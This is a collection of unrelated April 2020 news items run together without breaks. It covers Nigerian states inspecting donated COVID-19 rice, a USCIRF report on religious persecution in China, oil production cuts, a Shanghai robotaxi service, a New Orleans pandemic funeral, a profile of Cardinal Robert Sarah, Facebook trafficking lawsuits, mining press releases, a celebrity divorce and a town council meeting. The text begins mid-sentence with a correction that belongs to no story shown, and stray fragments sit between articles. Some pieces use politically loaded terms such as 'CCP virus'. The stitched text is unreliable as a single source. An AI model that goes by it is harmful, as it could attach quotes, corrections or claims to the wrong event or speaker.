business loan program is called the Paycheck Protection Program. An earlier version misstated its name. Three South-west states that received rice from the federal government say they are still examining the quality of the food item after the alarm by Oyo State government that its own consignment was not fit for human consumption. The federal government ordered the Nigeria Customs Service to donate 1,800 bags of rice each to Oyo, Osun and Ekiti states and 800 bags to Ondo state as part of efforts to cushion the effects of Coronavirus on the people of the four states. The Comptroller, Oyo/Osun Command of the Nigeria Customs Service, Helen Ngozi, on Monday, handed over the bags of rice each to the governments of Oyo, Osun, Ondo and Ekiti states. But the Oyo State government, four days later, vowed to return the bags of rice after discovering that much of the rice had expired. Seyi Makinde, the Oyo State governor, said the rice is not fit for human consumption. The Osun State Government said it has subjected its own 1800 bags of rice to quality control. However, the Chief Press Secretary to the Osun State Governor, Ismaila Omipidan, told PREMIUM TIMES the state was yet to ascertain any expired rice, as it was still carrying out a quality control procedure. We have not witnessed any expired rice, we are doing quality control and the process has not been concluded, said Mr Omipidan. The Ekiti State government also described the quality of the rice delivered to the state as satisfactory. We have no such thing, what we received was good I can assure you, Commissioner for Information, Muyiwa Olumilua, said. But the Coordinator of the COVID-19 Task Force, in Ekiti State, Bolaji Aluko, clarified that the 1800 bags of rice would be sorted to separate the expired from the good one. We have not rejected or returned any rice to FG. The state will do sorting and separate the bad ones out of the consignment, he said. Sorting the bags Also in Ondo State, the Palliative Committee said it is sorting out the bad rice from the good one with a view to returning the expired. The Secretary of the committee, Alex Kalejaiye, told PREMIUM TIMES on Monday that less than 10 per cent of the product was bad out of the total 1800 bags received. He, however, denied that the state government had rejected the rice, saying that such a report was embarrassing and misleading. At no time did the governor, Arakunrin Oluwarotimi Akeredolu, SAN, instruct that the rice meant to assist the state to combat food insecurity, as a result of the COVID-19 pandemic, be rejected and returned to Abuja, Mr Kalejaiye said. On receipt of the items, the Palliative Committee did a random physical inspection on the rice and discovered that some appear unhealthy for consumption, at least on the face value, while others look good. The Committee indeed drew the attention of Mr Governor to this and pleaded for proper guidance. While awaiting the thoughts of Mr Governor, the Committee members met and decided to carry out a comprehensive inspection, to ascertain how many bags have been affected on account of storage. We discovered that less than ten per cent of the lot falls into this category, and subsequently separated the few bags. He said instead of rejecting the bags of rice, the state was rather deeply appreciative of the Federal Government for standing by it in this trying time, and very optimistic that the support would further cushion the effects of hunger on the people. This is contrary to an earlier report which quoted him as saying the bags of rice would be returned to the Federal Government. Advertisements Amid lockdown by the respective states, the resultant economic hardship and decreased personal earnings by residents have forced a great need for palliatives. With the continuous increase in the number of confirmed cases across the states, the state governments are pressed to extend and impose harsher restriction measures which could further raise the demand for food to cater for the larger population now unable to go out to fend for themselves. Although what is available is considered grossly inadequate, many residents would receive with open arms any trickle of foodstuff, money and other support from the government and other well-meaning citizens. I will urge you all to please continue to create awareness on the seriousness of the coronavirus among your worshippers and communities while appealing that they strictly comply with public health advisories. Hon. Commissioner Gary Bauer, U.S. Commission on International Religious Freedom, in Washington on May 9, 2019. (Samira Bouaou/The Epoch Times) Religious Suppression Under Chinese Communism Poses Global Threat, US Panel Says Religious freedom in China is further eroding under the regime in Beijing as it seeks to export such suppression internationally, according to the latest U.S. Commission on International Religious Freedom (USCIRF) report, released on April 28. Religious groups of all kinds are under attack in China, including Christians, Tibetan Buddhists, Muslims, and adherents of the ancient spiritual discipline Falun Gong. Within China Beijing has built detention camps to incarcerate an estimated 1 million Uyghur and other ethnic minority Muslims in the far western Xinjiang region. Elsewhere, the demolition of underground churches and other houses of worship continues. In 2019, thousands of Falun Gong practitioners were arrested for refusing to give up their beliefs or for distributing literature related to the practice, the report notes. The list of religious violations and the regimes growing hostility toward faith have made China the worlds worst abuser of religious liberty, USCIRF Commissioner Gary L. Bauer told The Epoch Times in an interview. While the Chinese regime has been consistently designated by the U.S. State Department as a country of particular concern for its poor record on religious freedom since 1999, Bauer said he wishes there was an even worse designation we could make for communist China. China has declared war on all religious faith, he said. In every case, the message the Chinese communists are sending is that no Chinese citizen can have loyalty to anything higher than the Communist Party, he said. Theres no room for seeking God under Chinese communism. Its a disgrace, an international threat. Bauer also condemned the Chinese regimes barbaric practice of forcibly harvesting organs from imprisoned Falun Gong practitioners, calling them actions unacceptable for any civilized nations to engage in. Exporting Intimidation There are also alarming signals that the Chinese regime is spreading its human rights abuses around the world, according to the report. The commission called out Chinese diplomats continued efforts to subvert international rights organizations such as the United Nations, noting that in February, Beijing vetoed a Security Council resolution that sought to protect Rohingya refugees in Burma (also known as Myanmar). Facial recognition technology, which the Chinese Communist Party (CCP) has used to build a mass surveillance state, has also proliferated in more than 100 countries and, in some cases, served as a tool for targeting political dissidents, the report noted. In August 2019, police in Uzbekistan forced about 100 bearded Muslims to shave, saying the facial hair undermined the effectiveness of facial recognition cameraswhich are made in China, according to the report. Ironically, in March 2019, the Organization of Islamic Cooperation, a group of 57 Muslim-majority countries, issued a resolution commending Beijing for providing care to Muslim populations in China and expressing a desire to boost ties. Its evidence of the kind of pressure that communists are willing to exert against other countries, Bauer said. Meanwhile, African countries that owe debts to China are also more likely to feel pressured to follow the CCPs directives, such as when voting in the U.N. General Assembly, Bauer said. U.S. Secretary of State Mike Pompeo, during a ministerial on religious freedom in July 2019, said the Chinese regime had tried to discourage other countries from joining the gathering. The commission, in the report, recommends that the U.S. government impose targeted sanctions against severe Chinese religious freedom perpetrators by freezing their assets or barring them entry into the United States; oppose the 2022 Winter Olympics from being hosted in Beijing due to the regimes religious freedom violations; and ramp up efforts to counteract Chinese influence operations in the United States that seek to stifle criticism of Beijing. The commission will continue to call out the CCPs human rights abuses, Bauer said. We cannot allow Communist China to become a model for other countries that teaches these countries you can deny human beings this fundamental right. Oil majors, governments haggle over sharing pain of deepest cuts yet FILE PHOTO: The sun sets behind a crude oil pump jack on a drill pad in the Permian Basin in Loving County By Olga Yagova, Alla Afanasyeva and Dmitry Zhdannikov LONDON/MOSCOW (Reuters) - From Kazakhstan and Azerbaijan to Nigeria and Angola, oil majors are haggling with national governments over how to share out deep production cuts that add to their pain from low oil prices and depressed fuel sales because of the coronavirus pandemic. Oil majors have traditionally escaped big cuts in OPEC nations, such as Nigeria, and have never experienced curbs in countries outside the OPEC club, such as Kazakhstan, where they are protected by special clauses agreed with governments. But those production sharing agreements (PSA) are being laid aside following a pact between the Organization of the Petroleum Exporting Countries and its allies (OPEC+) to cut production by 23% to bolster prices as coronavirus lockdowns reduce global energy demand by a third. Such unprecedented output reductions, effective from May 1, are impossible in most nations without the help of majors. Azerbaijan has already asked its BP-led group to cut offshore output, and Kazakhstan was close to a deal with majors to reduce their production as well, sources familiar with the matter said. "We do expect to see volumes reduce in the second quarter because of the OPEC+ agreement," BP's Chief Executive Bernard Looney told a conference call on Tuesday, as the London-based company reported a plunge in profit and a spike in debt. During the last oil price crash in 2014-2016, integrated majors, such as BP, suffered a decline in earnings from their upstream or oil production units, but were saved by strong downstream results as consumers profited from cheap fuels. This time round is different. BP said it expected significantly lower refining margins in the second quarter when global restrictions on movement to halt the spread of the virus reach their peak, throttling consumption of gasoline, diesel and jet fuel. Add to this, forced production cuts across the world, and majors face a perfect storm. BP, Royal Dutch Shell , Total and Eni have showed steady output growth in recent years often surprising on the upside as they tried to lure investors with solid performance and generous dividends to offset pressure from climate change activists. Story continues It is not yet possible to predict exact production cuts as majors and many governments are still locked in difficult talks. They could amount to a record-high hundreds of thousands of barrels per day (bpd) per major, or 5%-10% of their output based on the exposure to OPEC+ nations and activity in the United States and Canada, where output has also been falling. Graphic: Oil majors' production , https://fingfx.thomsonreuters.com/gfx/editorcharts/xlbpgnnqovq/eikon.png Analysts from Barclays said BP's first quarter production was 1% below their forecast and down 3% year-on-year. Jason Gammel from Jefferies said BP's second quarter output was poised to be even lower. WEEKS OF TALKS Azerbaijan asked its main giant offshore consortium to cut output by 80,000 bpd, resulting in a net cut for operator BP of around 30,000 bpd. "We have never done it before since they came to the country in 1994," a senior Azeri official told Reuters. Looney said BP was also in talks with Russia, where it holds 20% in oil major Rosneft , and with Angola and in the Middle East. In Kazakhstan, the government was close to a deal with foreign operators of its Kashagan and Tengiz oilfields to cut output by 22% from May. ExxonMobil , Chevron , Eni, Total and Shell product 60% of Kazakhstan's output of 1.7 million bpd, making it impossible for the country to meet its OPEC+ cut quota of 390,000 bpd without the majors. The government has been in talks with the majors for the last two weeks, a source familiar with the talks said. In Nigeria, Shell and other majors are also holding talks with national oil firm NNPC on reducing onshore and offshore production, according to seven trading sources. "Nigeria and other West African exporters have no choice now but to cut down on shipments," one trading source said citing poor demand and loss-making prices. Shell and Total will have to share the burden of the 285,000 bpd cut by Oman while Iraq is still talking to majors, such as Exxon and BP, on the exact split of its 1 million bpd cut. Beyond OPEC+, more than 600,000 bpd of cuts have already been announced in the United States, some 300,000 bpd in Canada and 200,000 bpd in Brazil - areas where majors are also active. (Additional reporting by Ron Bousso, Julia Payne, Noah Browning, Florence Tan, Mariya Gordeyeva; writing by Dmitry Zhdannikov; editing by Barbara Lewis and Marguerita Choy) I ask Suleman to heal a person with a confirmed case of COVID-19 and get a thousand US dollars. This challenge has become necessary because Apostle Suleman has in a recent video urged the government of Nigeria to allow him and other pastors with the gift of healing into the isolation centres so that they could pray and heal those who have been infected by the virus. Shanghai (Gasgoo)- Shanghai residents are now able to experience self-driving taxi rides through a major ride-hailing platform operated by AutoNavi, an Alibaba-backed digital mapping, navigation and location-based service provider. The Robotaxi service came after this week's launch of a project jointly initiated by AutoNavi and AutoX, a Shenzhen-headquartered autonomous driving startup. Starting from Monday at Jiading District of Shanghai, users can sign up for a ride via AutoNavi's Amap app amid a month-long trial operation, and then the service will be open to the general public, according to a local media report. A commuter can hail a Robotaxi by imputing his places of departure and destination on the app and selecting the AutoX under the Comfort, an option of vehicle type. The app's algorithm will determine which vehicle to be dispatched based on the passenger's location. It is worth mentioning that the vehicle is able to pick up passengers at a proper place nearby them, unlike other Robotaxis which are merely allowed to stop at some fixed spots. Running on roads the self-driving car is capable of recognizing traffic lights, surrounding vehicles, pedestrians and roadside facilities, and mapping out a suitable route to passenger's demands. Besides, the system can inform passengers of the driving speed, the status of traffic lights and the vehicle turning, etc. In accordance with the existing regulations, a human driver is still required to sit behind the steering wheel. The Lincoln MKZ sedan equipped with AutoX's mass-produced hardware system has been adopted as the major carrier, and 30 cars are set to be put into the first-phase project, according to the local report, citing AutoX. In the future, the service will extend to more cities in addition to Shanghai with more models from different brands added. AutoX formed strategic cooperation with Jiading's government on August 31, 2019 to build China's first demonstration zone for pilot operation of Robotaxi service. In last December, the startup was given green light to road test its autonomous vehicles in Shanghai (photo source: AutoX's WeChat account). If he had died at a normal time, Larry Arthur Hammond would have had a funeral befitting a Zulu king, with more than a thousand mourners in the church and marching in second-line parades celebrating a mainstay of New Orleans Mardi Gras royalty. Instead, only 10 people were allowed into the funeral parlor, his widow grieving from a socially distanced chair while family and friends strained to hear through cell phones on speaker mode. Hundreds of close-knit members of his century-old parade group and African American fraternity were prevented from honoring one of their leaders, weeks after he died of COVID-19. It seemed cruel, how this CCP (Chinese Communist Party) virus that summoned them to mourn was keeping them apart. The protective masks his wife and daughter wore muffled their weeping. Nobody could see a smile; nobody could hug. Only having 10 family members was so hurting to me because we have such a large, loving family, said his wife, Lillian Hammond. But improvisation is integral to the jazz culture of New Orleans, and improvise they did. After the funeral, scores of cars and trucks passed the Hammond home as the family sat in chairs on their front lawn, still dressed in their funeral attire. A police escort led the procession. Honking, waving, and calling to his family, drivers and passengers showed their respect and love for the 2007 king of the Zulu Social Aid and Pleasure Club, a retired postal worker, and Air Force veteran who tutored, mentored and provided Christmas presents through Omega Psi Phi. I was so pleased. I was amazed. I was excited and not just excited for my family, but excited for Larry, because their procession, that motorcade was him, Lillian Hammond said. The Zulu club, as with African Americans nationwide, has been particularly hard-hit by this CCP virus, to which humans have no natural immunity. At least eight of its 800 members have died of COVID-19, according to its board chairman, City Councilman Jay H. Banks. African Americans represent more than 56 percent of Louisianas 1,670 CCP virus deaths, the state public health department reported on April 26. Larry Hammond, 70, died on March 31. If not for the pandemic, which delayed his funeral until April 22, he would have received past-king honors, with massive second-line tributes organized by the Zulus and his fraternity brothers, marching behind his casket with brass bands playing dirges and then breaking out into Dixieland jazz, celebrating his ascension to heaven. There would have been thousands of people there, I can say that without qualification, said Banks, who dressed in crisp white for the procession because he was King Zulu in 2016. Its the funeral of a king. You dont get any higher than that. The loneliness of the sparse funeral parlor seemed grievous by comparison. Lillian Hammonds daughter, wearing a cloth mask and protective blue gloves, embraced her as she wept. Alongside his open casket, an easel bore his portrait, wearing his white king suit. Another portrait was in the waiting area, with a bottle of hand sanitizer and a sign: Please sanitize your hands before signing the guest book. I am so happy that Larrys in a better place, Lillian Hammond said. I want to say to all of you; we dont know whats going on with this coronavirus, but please take it serious. And make sure that every day that you say something about the Lord and bless your family. It was a much warmer setting in their front yard that afternoon, where his granddaughter, Kailyn Hammond Gouch, joined Lillian, her daughter Nicole and her sister Lori Adams. People in cars and trucks rolled slowly by for about 15 minutes, waving, calling out, and holding handmade signs and memorabilia. Hammond said she recognized people from Zulu, the fraternity, the neighborhood, the school where her husband tutored students for standardized tests, and from outside the New Orleans area. As the last car drove past, the family applauded. Barry Hammond said his brother was a giver who saw the value of helping others and bringing people together. He hopes Americans will reach similar conclusions, since the pandemic has shown that were all human beings first, undivided by race or politics. We are all in this together. Corona has proven this, he said. My prayer is the virus causes us to reunite as a country. By Gerald Herbert and Janet McConnaughey NTD staff contributed to this report. 28.04.2020 LISTEN African clergymen have presented a powerful force for social and theological consciousness in the Catholic Church in recent years, perhaps none better known than Cardinal Robert Sarah. Many Vatican insiders feel that Sarah could be the first African pope in centuries. There have been only three African popes, going back to the early days of the Catholic Church: Pope Victor I (189199), Pope Miltiades (also known as Melchiades) (311314), and Pope Gelasius (492496). All three men are believed to have been of full or partial North African (Berber) ancestry. Robert Sarah was born in 1945 in the village Ourous in the far north of Guinea (then known as French Guinea). His parents had converted to Christianity from a pagan belief system, and their intense belief and passion often found in converts would have a profound impact on their son. By the age of twelve, Sarah was already enrolled in a minor seminary, studying and discerning his vocation for the priesthood. He was ordained as a priest in 1969. For a young man with a sharp mind and strong faith, local parishes and communities would prove too small. An Impressive Rise For centuries, the Catholic Church has looked to Europe for its archbishops and, of course, its popes. When the current pontiff, Pope Francis, was elected in 2013, he was first bishop from outside Europe (in his case Argentina) to ascend to the Holy See. Yet this bias, if anything, makes the young Africans ascent up the Churchs hierarchy all the more impressive and also speaks to another quality: determination. At just thirty-four years old, Sarah was appointed metropolitan archbishop of Conakry by Pope John Paul II. At the time of his ordination, he was the youngest bishop in the world. When John Paul II had his first meeting with Sarah, he asked him his age. Sarah recalls that when he replied that he was only in his mid-thirties, the pope burst into laughter and exclaimed that he was un vescovo bambino, a baby bishop. The two spiritual leaders would become friends. It was perhaps their shared struggles against totalitarianism that brought them together. John Paul II was a vocal opponent of Communism both in his native Poland and worldwide. Sarah, while serving as archbishop, was put on a blacklist by Ahmed Sekou Toure, the first president of Guinea and a brutal authoritarian with close ties to the Communist bloc. Toure's regime killed or disappeared an estimated 50,000 people and some two million people fled the country out of a population of six million. Sarah saw the regime for what it was, and his work to keep the church separate from the regime made him a de facto enemy of the state. Prior to Toures death in 1984, Sarah had been put on on a "death list" by the Marxist regime. Pope Benedict XVI, John Paul IIs successor, made Sarah Cardinal-Deacon of the See of San Giovanni Bosco in via Tuscolana. A Force for Traditionalism Sarah, now Prefect of the Congregation for Divine Worship and the Discipline of the Sacraments at the appointment of Pope Francis, is seen as one of the Catholic Churchs strongest forces for traditionalism worldwide. Many Catholics see him as a papabile, a cardinal who has the potential to be the next pope. His close ties to John Paul IIs legacy have certainly helped his rise. Sarah has consistently taken hardline stances on Catholic teaching and doctrine, a position he believes is common sense for Catholics. This strict adherence to doctrine applies to all social issues: abortion, same-sex marriage, secularism, artificial birth control, and other concepts he opposes. The idea of putting Magisterial teaching in a beautiful display case while separating it from pastoral practice, which then could evolve along with circumstances, fashions, and passions, is a sort of heresy, a dangerous schizophrenic pathology, Sarah says in his book on faith with writer Nicolas Diat, God or Nothing: A Conversation on Faith. Sarahs concerns surround what he sees as a rapidly secularizing and modernizing Catholic laity and clergy. He has repeatedly warned against seeing oneself as the center of ones spiritual life, and laments decreasing religiosity in the Churchs most sacred liturgical celebrations. We observe more and more that man seeks to take the place of God, Sarah says in God or Nothing. The liturgy then becomes a mere human game. If eucharistic celebrations turn into human celebrations of ourselves and places where we apply our pastoral ideologies and partisan political preferences, which have nothing to do with spiritual worship that is to be celebrated as God wills, the danger is immense. For then God disappears. Sarah sees the Church of Africa, his own jurisdiction, as a section of the Catholic Church that must lead the charge against the allegedly rapid modernization and alternative interpretations of Church teachings. I therefore solemnly state that the Church in Africa is staunchly opposed to any rebellion against the teaching of Jesus and of the Magisterium. The Church of Africa is committed in the name of the Lord Jesus to keeping unchanged the teaching of God and of the Church. Many European nations have more Christian deaths than births. His faith in the Church of Africa reflects not only the growing numbers of Christians on the continent, but also their religious commitment , which far outflanks the traditionally Christian countries of Europe and North America. According to a Pew Research Study, Christians in Africa and Latin America tend to pray and attend church at higher rates than Christians in most of the rest of the world. For instance, at least four out of five Christians in Nigeria, Liberia, Senegal, Cameroon, and Chad pray every day. In the same study, Pew states that many European nations, plagued by falling church attendance and a lack of religious commitment, have more Christian deaths than births. Sarahs challenges for a revitalization in the Church does not stop at this lapsed laity. He has also lamented the failings of himself and his brother clergymen: We bishops ought to tremble at the thought of our guilty silences, our complicit silences, our overindulgent silences in dealing with the world. The fervent traditionalism and hardline orthodoxy of Cardinal Sarah make him an exceptional and highly public figure among Catholics at a time when the Church is being asked to re-examine its teachings in the face of changing social mores. A Texas appeals court has rejected Facebooks efforts to halt multiple lawsuits accusing the social media juggernaut of knowingly permitting sex traffickers to recruit through its various platforms. The lawsuits were brought by three Houston women recruited as 13-,14- and 16-year-olds through Facebook apps. The social media company appealed the rulings to the 14th Court of Appeal. The appeals court issued three parallel rulings all reflecting a 3-2 majority. In each case there was a dissenting ruling from Justice Tracy Christopher, who found Facebook should be cloaked in federal statutory immunity. FACEBOOK TRAFFICKING: Facebook, Instragram fighting Houston sex trafficking lawsuit Annie McAdams, the lawyer who sued on the young womens behalf, said she expects Facebook will seek to halt the cases by appealing the lower courts finding to the state supreme court. A Facebook spokesperson declined to comment on the rulings. The company previously told the Houston Chronicle that human trafficking is not permitted on the site and staffers must report all instances of trafficking theyre aware of to the National Center for Missing and Exploited Children. The trio of Houston lawsuits make the case that Facebook and its various apps and commodities should not be protected by blanket legal immunity and that Houston is the right place to proceed, even if Facebook is based in Silicon Valley. Houston is the backyard of where these children were harmed, McAdams said. Houston has long been recognized as a hub of human trafficking so it is a perfect the city to address the harms that have been created by online sex trafficking. The ruling came from civil judges in October. The appeals court agreed with plaintiffs in separate rulings that Facebook was not immune. Facebook argued that it was protected from answering lawsuits because the tech company had immunity under the Communications Decency Act, a 1996 law written to address defamation cases against technology cases during the dial-up era. Lawyers argued on behalf of the young girls trafficked through the site that the Communications Decency Act was never meant to protect tech companies from any and all claims. The act did not grant immunity across the board to tech companies, they said. The case broke new ground arguing that the federal Stop Enabling Sex Traffickers Act and the Fight Online Sex Trafficking Act, known as FOSTA-SESTA, makes it illegal to knowingly assist, facilitate, or support sex trafficking. It amended portions of the Communications Decency Act that said online companies were immune from civil liability if their users violated sex trafficking laws. Following the trial court proceeding, attorney McAdams explained,The CDA was never designed to protect entities that protect the rape of children. McAdams and her co-counsel argued that Facebook was knowingly benefiting from facilitating sex trafficking, even if it didnt endorse it. One of the cases, involving a 14-year-old from Spring, recounts how the girl was recruited, groomed and sold in 2018 by a man she met on Instagram. The trafficker beat her and sold her for commercial sex for three weeks. McAdams said the child has undergone intensive therapy in the years since. gabrielle.banks@chron.com Toronto, Ontario--(Newsfile Corp. - April 28, 2020) - KWG Resources Inc. (CSE: KWG) (CSE: KWG.A) (FSE: KW6) ("KWG" or the "Company") announces that due to circumstances created by the COVID-19 pandemic, the Ontario Securities Commission and other members of the Canadian Securities Administrators granted "Issuers" in the Canadian securities industry up to an additional 45 days, to complete year-end statutory filings (the "Extension"). The Company does not believe that it will be able to file its December 31, 2019 audited annual financial statements by its usual 120-day deadline of April 29, 2020, and will be relying on the Extension. Accordingly, as required by the conditions of the Extension, the Company's management and other insiders will be subject to a trading black-out that reflects the principles in Section 9 of National Policy 11-207 until its financial statements are filed, which will be by June 13, 2020. Other than as previously disclosed by the Company in news releases, including the information herein, there are no other material business developments since the date of the Company's most recent filing of its interim financial statements and management discussion and analysis for its Q3 ended September 30, 2019. The Company will be providing an update news release on the status of filing its December 31, 2019 audited financial statements by May 29, 2020. Listing approval sought for additional Convertible Debenture issue after filing The Company will also seek regulatory approval for the issue after filing of the audited financial statements, of $3 million of Convertible Debentures to be pari passu with previously-issued debentures maturing March 31, 2021. Within that time all or part of the sum secured by the debentures are convertible at the option of the Company into units with a deemed value of $21 per unit (each a "Unit"). Each Unit is comprised of four (4) KWG.A multiple voting shares and four (4) multiple voting share purchase warrants, with each such warrant enabling its holder to acquire one further KWG.A multiple voting share from treasury upon payment of $7.50 at any time within two years from the date of its issuance. The debentures bear interest at a rate of 12% per annum, accruing daily, compounding annually and payable at the earlier of maturity, redemption or conversion, in KWG.A multiple voting shares from treasury at their volume-weighted average price for the ten trading days prior to payment. For each $35.00 principal amount of Convertible Debentures, the Debenture-holder will also receive Delivery Warrants exchangeable on a first-come aliquot basis for one ton of warehoused ferrochrome. The terms of the Delivery Warrants will provide that they may be tendered by their holders to receive ferrochrome from 1% of any future ferrochrome production from the Company's chromite mineral interests, if and when produced. The Company intends to set a ferrochrome delivery standard for ferrochrome after processing to be approximately 52% chrome content with carbon of 6% - 8%, silica not exceeding 1.5% and the remaining fraction being principally iron. The Company proposes to list the Delivery Warrants for trading on the Canadian Securities Exchange (the "CSE") which, if implemented, could provide a liquid market for ferrochrome price hedging. In connection with the creation of the Delivery Warrants, the Company will undertake to provide a security interest in its chromite mineral title to back the obligation for future delivery and will also undertake that, should production of ferrochrome ensue in future from minerals recovered from those mineral claims, 1% of all such production will be warehoused on an ongoing basis to provide stocks of ferrochrome for delivery to warrant-holders wishing to take delivery of ferrochrome in exchange for tender and cancellation of their corresponding Delivery Warrants. KWG is a mineral exploration company with mineral exploration claims in the Ring of Fire area of northwestern Ontario. The Company does not currently have any reserves (within the meaning of National Instrument 43-101) of chromite inasmuch as its mineral interests there are all in the categories of measured, indicated and inferred resources and there is no assurance that the Company will ever produce ferrochrome or chrome. KWG has a 30% joint venture interest in the Big Daddy deposit which contains NI 43-101 measured and indicated resources of 29.1 million Tonnes of 31.7% chrome oxide and inferred resources of 3.4 million Tonnes of 28.1% chrome oxide. The Company has a 50% interest in the Black Horse deposit which contains NI 43-101 inferred resources of 85.9 million Tonnes of 34.5% chrome oxide. About KWG: KWG is the Operator of the Black Horse Joint Venture ('JV') after acquiring a vested 50% interest through Bold Ventures Inc ('Bold') from Fancamp Exploration Ltd ('Fancamp'). KWG funds all JV exploration expenditures and Bold is carried for a 20% interest in KWG's interest. KWG also owns 100% of Canada Chrome Corporation which has staked claims and conducted a surveying and soil testing program, originally for the engineering and construction of a railroad to the Ring of Fire from Aroland, Ontario. KWG subsequently acquired intellectual property interests, including a method for the direct reduction of chromite to metalized iron and chrome using natural gas and an accelerant. KWG subsidiary, Muketi Metallurgical LP, has received a patent for the direct reduction method in Canada, South Africa and Kazakhstan and is prosecuting remaining patent applications in India, Indonesia, Japan, South Korea, Turkey and the USA. It has also received a USA patent for production of low carbon chromium iron alloys and a corresponding Canadian patent application is expected to issue soon. For further information, please contact: Bruce Hodgman, Vice-President: 416-642-3575 ~ info@kwgresources.com Forward-Looking Statements: Information set forth in this news release may involve forward-looking statements under applicable securities laws. The forward-looking statements contained herein are expressly qualified in their entirety by this cautionary statement. The forward-looking statements included in this document are made as of the date of this document and KWG disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable securities legislation. Although management believes that the expectations represented in such forward-looking statements are reasonable, there can be no assurance that such expectations will prove to be correct. This news release does not constitute an offer to sell or solicitation of an offer to buy any securities that may be described herein and accordingly undue reliance should not be put on such. Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this news release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55028 Kristin Cavallari may have been standing on the sidelines for much of Jay Cutler's career in the NFL, but now it's her turn to be the star player. On Sunday, the reality TV couple revealed they initiated divorce proceedings after ten years together. "We have nothing but love and respect for one another and are deeply grateful for the years shared, memories made, and the children we are so proud of," their statement, which they posted to their respective Instagrams, shared. "This is just the situation of two people growing apart." But a source tells E! News that their split was partly due to Kristin feeling that Jay "wasn't as supportive of her career as she would have liked." The source reveals Kristin and Jay sought marriage "counseling" to work through their problems. "The issues were ongoing for a long time," the insider shares. "Things weren't improving. They both wanted the marriage to work." Looking Back at Kristin Cavallari's Star-Studded Dating History A second source adds, "This was a buildup and a long time coming. It wasn't a sudden decision and they have known for a while that things were headed in this direction." Kristin Cavallari, Jay Cutler As for their three children Camden Jack Cutler, 7, Jaxon Wyatt Cutler, 5, and Saylor James Cutler, 4, the first source shares their "kids will come first," which is why Kristin and Jay are "still living under one roof" and why they chose to not cancel their vacation to the Bahamas in March, despite struggling with their marriage. "They didn't cancel the trip to the Bahamas because of the children. It was a pre-planned vacation and they didn't want to spoil it for them," the insider notes. According to both sources, Kristin and Jay will stay in their Nashville home together for the foreseeable future, where they intend to co-parent the three kiddos. The first source states, "The hope, of course, is to remain friends but time will tell." Story continues Kristin Cavallari, Jay Cutler, Instagram While the second source says Kristin wishes to "co-parent" with Jay, it must be noted that the Uncommon James owner requests to be named the "primary residential parent," according to court documents obtained by E! News. She also cited "irreconcilable differences" and "inappropriate marital conduct" as the grounds for divorce. Though they're in the early days of their divorce, the second source notes, "They hope to be cordial and civil to one another and will make every attempt at that." To watch Kristin and Jay's romance on Very Cavallari, you can catch up on all the episodes here. HARBOR BEACH -- During the lone Harbor Beach City Council Meeting for the month of April, the mayor and council members took noticeable measures to create safe social distancing during this unprecedented COVID-19 pandemic. Mayor Gary Booms and council members sat 6 feet apart at the front of the City Hall meeting area while other employees sat in the area usually designated for residents and guests. One council member, Al Kleinknecht, took part via FaceTime. The council approved paying $46,693.46 in bills this month. Two of the largest payments went to Kincaid Electric and Medler Electric for equipment, wiring, and labor at the Harbor Beach Marina. Medler received a payment of $13,294 for a transformer and controls. Kincaid received a payment of $24,000 for ongoing work at the marina. During the meeting, the council passed resolution 2020-26, which approved the purchase of a computer and software for the Harbor Beach Water Treatment Plant. The city paid the low bidder, BTO Controls and Automation, $8,856 for the computer and software. Afterward, city Supervisor Ron Wruble said the new equipment will be used to help monitor filters at the plant. After a short discussion, council approved a request to use the covered bridge at North Park for a wedding in September. Later, Mayor Booms told the Tribune this was the only request the city has ever had for use of this venue. At a committee meeting, prior to the regular city council meeting, the mayor and council discussed employee schedules and making sure residents get continued services. During this pandemic, some employees have worked unusual schedules. Booms said this is the first time in several weeks all full-time employees are working full time. He added the employees are all practicing social distancing. The next Harbor Beach City Council Meeting is tentatively set for 7 p.m. May 4, 2020 at City Hall. Booms made it clear it is only tentative and may change after more information comes down from the state. ENDEAVOUR TO ANNOUNCE ITS Q1 RESULTS AND HOST WEBCAST ON MAY 13, 2020 George Town, April 28, 2020 - Endeavour Mining (TSX:EDV) (OTCQX:EDVMF) provides notice that it will release its financial results for the first quarter of 2020 on Wednesday, May 13, before TSX market open. Management will host a conference call and webcast on the same day, Wednesday May 13, at 8:30am Toronto time (ET) to discuss the Company's financial results. The conference call and webcast are scheduled at: 5:30am in Vancouver 8:30am in Toronto and New York 1:30pm in London 8:30pm in Hong Kong and Perth The webcast can be accessed through the following link: https://edge.media-server.com/mmc/p/wzt8x39v Analysts and investors are also invited to participate and ask questions using the dial-in numbers below: International: +1 646-741-3167 North American toll-free: +1 877-870-9135 UK toll-free: 0800-279-6619 Confirmation Code: 3666389 The conference call and webcast will be available for playback on Endeavour's website. Click hereto add Webcast reminder to Outlook Calendar Access the live and On-Demand version of the webcast from mobile devices running iOS and Android: ABOUT ENDEAVOUR MINING Endeavour Mining is a TSX listed intermediate African gold producer with a solid track record of operational excellence, project development and exploration in the highly prospective Birimian greenstone belt in West Africa. Endeavour is focused on offering both near-term and long-term growth opportunities with its project pipeline and its exploration strategy, while generating immediate cash flow from its operations. Endeavour operates four mines across Cote d'Ivoire (Agbaou and Ity) and Burkina Faso (Hounde, Karma). For more information, please visit www.endeavourmining.com. CONTACT INFORMATION Martino De Ciccio VP - Strategy & Investor Relations +44 203 640 8665 mdeciccio@endeavourmining.com Brunswick Group LLP in London Carole Cable, Partner +44 7974 982 458 ccable@brunswickgroup.com (mailto:ccable@brunswickgroup.com) CAUTIONARY STATEMENT ON FORWARD-LOOKING INFORMATION This news release contains "forward-looking statements" including but not limited to, statements with respect to Endeavour's plans and operating performance, the estimation of mineral reserves and resources, the timing and amount of estimated future production, costs of future production, future capital expenditures, and the success of exploration activities. Generally, these forward-looking statements can be identified by the use of forward-looking terminology such as "expects", "expected", "budgeted", "forecasts", and "anticipates". Forward-looking statements, while based on management's best estimates and assumptions, are subject to risks and uncertainties that may cause actual results to be materially different from those expressed or implied by such forward-looking statements, including but not limited to: risks related to the successful integration of acquisitions; risks related to international operations; risks related to general economic conditions and credit availability, actual results of current exploration activities, unanticipated reclamation expenses; changes in project parameters as plans continue to be refined; fluctuations in prices of metals including gold; fluctuations in foreign currency exchange rates, increases in market prices of mining consumables, possible variations in ore reserves, grade or recovery rates; failure of plant, equipment or processes to operate as anticipated; accidents, labour disputes, title disputes, claims and limitations on insurance coverage and other risks of the mining industry; delays in the completion of development or construction activities, changes in national and local government 